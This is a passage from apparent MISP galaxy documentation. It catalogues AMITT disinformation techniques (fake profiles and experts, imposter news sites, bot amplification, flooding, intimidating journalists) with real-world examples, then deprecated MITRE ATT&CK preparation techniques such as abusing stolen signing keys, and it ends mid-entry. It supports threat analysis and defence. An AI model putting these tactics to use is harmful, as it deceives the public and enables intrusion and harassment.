Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook's new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"*

Table 3534. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md

Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their owenership, reporting history and adverstising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*

Table 3535. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a “Military Intelligence Analyst / Russian Regional CME” and the other a “Geopolitical Strategist, Journalist & Author”--pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Table 3536. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"*

Table 3537. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md

Hijack legitimate account

Hack or take over legimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"*

Table 3538. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0011.md

Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use concealment"*

Table 3539. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0012.md

Create fake websites

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake websites"*

Table 3540. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0013.md

Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"*

Table 3541. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md

Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create hashtag"*

Table 3542. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md

Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother’s law firm does Clinton’s taxes”. This is a key asset

The tag is: *misp-galaxy:amitt-misinformation-pattern="Clickbait"*

Table 3543. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md

Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Promote online funding"*

Table 3544. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md

Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: *misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"*

Table 3545. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md

Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Generate information pollution"*

Table 3546. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md

Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Trial content"*

Table 3547. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md

Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Memes"*

Table 3548. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md

Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of poweful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

The tag is: *misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"*

Table 3549. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md

Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: *misp-galaxy:amitt-misinformation-pattern="Distort facts"*

Table 3550. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md

Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshoped shark on flooded streets of Houston TX.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"*

Table 3551. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md

Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged "letter" created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leak altered documents"*

Table 3552. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md

Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake research"*

Table 3553. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md

Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"*

Table 3554. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md

Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the ""firehose of misinformation"" approach."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create competing narratives"*

Table 3555. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0028.md

Manipulate online polls

Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well

The tag is: *misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"*

Table 3556. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0029.md

Backstop personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate crediblity/believability

The tag is: *misp-galaxy:amitt-misinformation-pattern="Backstop personas"*

Table 3557. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0030.md

YouTube

Use YouTube as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="YouTube"*

Table 3558. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0031.md

Reddit

Use Reddit as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Reddit"*

Table 3559. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0032.md

Instagram

Use Instagram as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Instagram"*

Table 3560. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0033.md

LinkedIn

Use LinkedIn as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="LinkedIn"*

Table 3561. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0034.md

Pinterest

Use Pinterest as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Pinterest"*

Table 3562. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0035.md

WhatsApp

Use WhatsApp as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="WhatsApp"*

Table 3563. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0036.md

Facebook

Use Facebook as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facebook"*

Table 3564. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0037.md

Twitter

Use Twitter as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter"*

Table 3565. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0038.md

Bait legitimate influencers

The tag is: *misp-galaxy:amitt-misinformation-pattern="Bait legitimate influencers"*

Table 3566. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0039.md

Demand unsurmountable proof

The tag is: *misp-galaxy:amitt-misinformation-pattern="Demand unsurmountable proof"*

Table 3567. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0040.md

Deny involvement

The tag is: *misp-galaxy:amitt-misinformation-pattern="Deny involvement"*

Table 3568. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0041.md

Kernel of Truth

The tag is: *misp-galaxy:amitt-misinformation-pattern="Kernel of Truth"*

Table 3569. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md

Use SMS/ WhatsApp/ Chat apps

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"*

Table 3570. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md

Seed distortions

The tag is: *misp-galaxy:amitt-misinformation-pattern="Seed distortions"*

Table 3571. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md

Use fake experts

Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use fake experts"*

Table 3572. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md

Search Engine Optimization

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: *misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"*

Table 3573. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md

Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transperancy reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore's security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"*

Table 3574. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md

Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"*

Table 3575. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md

Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi's death.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Flooding"*

Table 3576. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md

Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"*

Table 3577. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md

Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"*

Table 3578. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md

Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites inculde Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"*

Table 3579. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md

Twitter trolls amplify and manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it's easier to amplify existing content than create new/original content. Trolls operate where ever there's a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"*

Table 3580. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md

Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019)

#TrudeauMustGo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"*

Table 3581. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md

Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use hashtag"*

Table 3582. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md

Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"*

Table 3583. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0056.md

Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and actvities into the public space. (Example) Mueller's report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: *misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"*

Table 3584. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0057.md

Legacy web content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it's hard to remove or unlikely to be removed.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Legacy web content"*

Table 3585. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0058.md

Play the long game

The tag is: *misp-galaxy:amitt-misinformation-pattern="Play the long game"*

Table 3586. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0059.md

Continue to amplify

The tag is: *misp-galaxy:amitt-misinformation-pattern="Continue to amplify"*

Table 3587. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0060.md

Sell merchandising

Sell hats, t-shirts, flags and other branded content that's designed to be seen in the real world

The tag is: *misp-galaxy:amitt-misinformation-pattern="Sell merchandising"*

Table 3588. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0061.md

Attack Pattern

ATT&CK tactic.

Attack Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in

MISP.

authors

MITRE

Test ability to evade automated mobile application security analysis performed by app stores - T1393

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393).

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

The tag is: *misp-galaxy:mitre-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - T1393"*

Table 3589. Table References

Links
https://attack.mitre.org/techniques/T1393

Choose pre-compromised mobile app developer account credentials or signing keys - T1391

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391).

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)

The tag is: *misp-galaxy:mitre-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - T1391"*

Table 3590. Table References

Links
https://attack.mitre.org/techniques/T1391

Enumerate externally facing software applications technologies, languages, and dependencies - T1261

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261).

Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

The tag is: *misp-galaxy:mitre-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - T1261"*

Table 3591. Table References

Links
https://attack.mitre.org/techniques/T1261

Obtain Apple iOS enterprise distribution key pair and certificate - T1392

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392).

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain Apple iOS enterprise distribution key pair and certificate - T1392"*

Table 3592. Table References

Links
https://attack.mitre.org/techniques/T1392

Analyze social and business relationships, interests, and affiliations - T1295

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295).

Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze social and business relationships, interests, and affiliations - T1295"*

Table 3593. Table References

Links
https://attack.mitre.org/techniques/T1295

Linux and Mac File and Directory Permissions Modification - T1222.002

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform's permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)

The tag is: *misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002"*

Table 3594. Table References

Links
https://attack.mitre.org/techniques/T1222/002
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110

https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100

Install and configure hardware, network, and systems - T1336

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336).

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

The tag is: *misp-galaxy:mitre-attack-pattern="Install and configure hardware, network, and systems - T1336"*

Table 3595. Table References

Links
https://attack.mitre.org/techniques/T1336

Compromise 3rd party or closed-source vulnerability/exploit information - T1354

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354).

There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - T1354"*

Table 3596. Table References

Links
https://attack.mitre.org/techniques/T1354
https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage

Discover new exploits and monitor exploit-provider forums - T1350

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)

The tag is: *misp-galaxy:mitre-attack-pattern="Discover new exploits and monitor exploit-provider forums - T1350"*

Table 3597. Table References

Links
https://attack.mitre.org/techniques/T1350
https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf

Acquire and/or use 3rd party software services - T1330

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330).

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"*

View relationships graph

Acquire and/or use 3rd party software services - T1330 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308" with estimative-language:likelihood-probability="almost-certain"

Table 3598. Table References

Links
https://attack.mitre.org/techniques/T1330

Acquire and/or use 3rd party infrastructure services - T1307

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"*

View relationships graph

Acquire and/or use 3rd party infrastructure services - T1307 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"

Table 3599. Table References

Links
https://attack.mitre.org/techniques/T1307

Acquire and/or use 3rd party software services - T1308

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308).

